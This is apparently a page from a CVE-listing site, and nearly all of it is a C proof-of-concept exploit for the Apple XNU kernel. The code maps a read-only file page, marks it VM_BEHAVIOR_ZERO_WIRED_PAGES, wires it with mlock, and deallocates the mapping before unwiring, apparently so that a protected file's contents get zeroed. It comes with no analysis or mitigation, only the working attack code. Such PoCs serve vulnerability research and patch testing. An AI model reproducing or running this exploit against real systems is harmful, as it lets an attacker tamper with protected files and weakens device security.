4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.c C
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <mach/mach.h>
#include <errno.h>
#include <string.h>


void* map_file_page_ro(char* path, int* error_code) {
  int fd = open(path, O_RDONLY);

  if (fd == -1) {
    *error_code = errno;
    printf("open failed: %s\n", strerror(errno));
    return NULL;
  }

  void* mapped_at = mmap(0, PAGE_SIZE, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
  
  close(fd);

  if (mapped_at == MAP_FAILED) {
    *error_code = errno;
    printf("mmap failed: %s\n", strerror(errno));
    return NULL;
  }

  return mapped_at;
}


int poc(char *path) {
    kern_return_t kr;
    int error_code = 0;
      
    void* page = map_file_page_ro(path, &error_code);
      
    if (page == NULL) {
        return error_code ? error_code : 1;
    }

  printf("mapped file at 0x%016llx\n", (uint64_t)page);

  kr = vm_behavior_set(mach_task_self(),
                        (vm_address_t)page,
                        PAGE_SIZE,
                        VM_BEHAVIOR_ZERO_WIRED_PAGES);

  if (kr != KERN_SUCCESS) {
    printf("failed to set VM_BEHAVIOR_ZERO_WIRED_PAGES on the entry\n");
    return 2;
  }

  printf("set VM_BEHAVIOR_ZERO_WIRED_PAGES\n");
 
  int mlock_err = mlock(page, PAGE_SIZE);
  if (mlock_err != 0) {
    perror("mlock failed\n");
    return 3;
  }
  printf("mlock success\n");

  kr = vm_deallocate(mach_task_self(),
                     (vm_address_t)page,
                     PAGE_SIZE);
  if (kr != KERN_SUCCESS) {
    printf("vm_deallocate failed: %s\n", mach_error_string(kr));
    return 4;
  }
  printf("deleted map entries before unwiring\n");

  return 0;
}